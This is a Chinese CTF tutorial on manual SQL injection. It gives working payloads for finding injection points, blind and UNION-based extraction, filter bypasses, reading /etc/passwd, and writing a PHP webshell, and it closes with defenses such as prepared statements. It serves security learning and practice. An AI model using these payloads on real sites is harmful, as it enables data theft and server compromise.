CTFHub | 从零到一:手工SQL注入实战剖析

1. 手工SQL注入入门指南

第一次接触CTF比赛时,看到SQL注入题目总有种无从下手的感觉。记得我当初在CTFHub上做第一道MySQL注入题,整整卡了两天。后来才发现,手工注入其实就像玩解谜游戏,关键在于找到正确的线索和解题顺序。

手工SQL注入是通过构造特殊输入,让数据库执行非预期查询的技术。与自动化工具不同,手工注入需要理解每一步的原理。比如输入1' and 1=1 --时,实际执行的SQL语句会变成:

SELECT * FROM users WHERE id='1' and 1=1 -- '

这个简单的例子中,--注释掉了原查询的剩余部分,而and 1=1永远为真。如果页面正常显示,说明我们的输入被当作SQL执行了。

2. 注入点探测与确认

2.1 初识注入点

在CTFHub的题目中,通常会给出一个带参数的URL,比如http://example.com/?id=1。我的习惯是先尝试以下测试:

  1. 输入id=1':观察是否报错
  2. 输入id=1' --:看是否恢复正常
  3. 尝试id=1 and 1=1id=1 and 1=2

最近遇到一个有趣的案例:某次比赛中的页面在id=1'时报错,但id=1' --却返回空白。后来发现需要用#注释而不是--,这就是不同数据库的语法差异。

2.2 布尔盲注技巧

当页面没有明显回显时,可以尝试基于布尔的判断。比如:

id=1' and substring(database(),1,1)='a' --

通过逐个字符猜测数据库名。我通常会写个Python脚本自动化这个过程:

import requests charset = "abcdefghijklmnopqrstuvwxyz_" url = "http://example.com/?id=1' and substring(database(),1,1)='{}' -- " for c in charset: r = requests.get(url.format(c)) if "content" in r.text: # 根据实际页面特征调整 print(f"Found: {c}") break

3. 字段数与信息收集

3.1 确定字段数量

使用order by是最可靠的方法。我习惯从order by 10开始二分查找:

?id=1' order by 10 -- # 报错 ?id=1' order by 5 -- # 报错 ?id=1' order by 3 -- # 报错 ?id=1' order by 2 -- # 正常

最近发现MariaDB 10.3+版本对order by的处理有些变化,有时需要尝试group by作为替代。

3.2 信息收集三板斧

知道字段数后,就可以用union查询获取信息:

  1. 版本信息

    id=-1' union select 1,version(),3 --
  2. 数据库名

    id=-1' union select 1,database(),3 --
  3. 表信息

    id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --

提示:遇到group_concat长度限制时,可以用substring(group_concat(...),1,50)分段获取

4. 高级注入技巧实战

4.1 绕过过滤的奇技淫巧

很多CTF题目会过滤常见关键词。有次比赛过滤了select,我用了以下几种方法:

  1. 大小写混合:SeLeCt
  2. 内联注释:/*!select*/
  3. 字符编码:%53%45%4C%45%43%54(SELECT的URL编码)

最有趣的是用join绕过:

id=-1' union select * from (select 1)a join (select database())b --

4.2 文件操作与OS交互

在MySQL中,如果权限足够可以读写文件:

# 读取服务器文件 id=-1' union select 1,load_file('/etc/passwd'),3 -- # 写入webshell id=-1' union select 1,'<?php system($_GET[cmd]); ?>',3 into outfile '/var/www/html/shell.php' --

注意:实际CTF比赛中未经授权的文件操作可能违反规则,务必确认题目允许范围

5. CTFHub实战案例解析

以最近CTFHub的一道题为例,完整流程如下:

  1. 输入?id=1'触发报错,确认存在注入
  2. order by 2正常,order by 3报错,确定2个字段
  3. 使用联合查询:
    id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
    获取表名users,config
  4. 爆出config表的列名:
    id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='config' --
    发现flag,value两列
  5. 最终获取flag:
    id=-1' union select 1,flag from config --

这个过程中,最耗时的部分是猜解表名。后来发现可以先查询information_schema.tables获取所有表名,而不是盲目猜测。

6. 防御措施与练习建议

虽然我们学习注入是为了CTF比赛,但了解防御同样重要。推荐几种防护方法:

  1. 预处理语句:

    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
  2. 最小权限原则:数据库用户只赋予必要权限

  3. Web应用防火墙(WAF)规则配置

对于想提升技术的朋友,我建议:

  1. 从DVWA、WebGoat等漏洞练习平台开始
  2. 定期参加CTF比赛积累经验
  3. 阅读MySQL官方文档了解特性
  4. 搭建自己的测试环境反复练习

手工SQL注入就像侦探破案,需要耐心和细心。每次遇到新题型都是学习的机会,记录下解题过程并复盘,技术就会不断提升。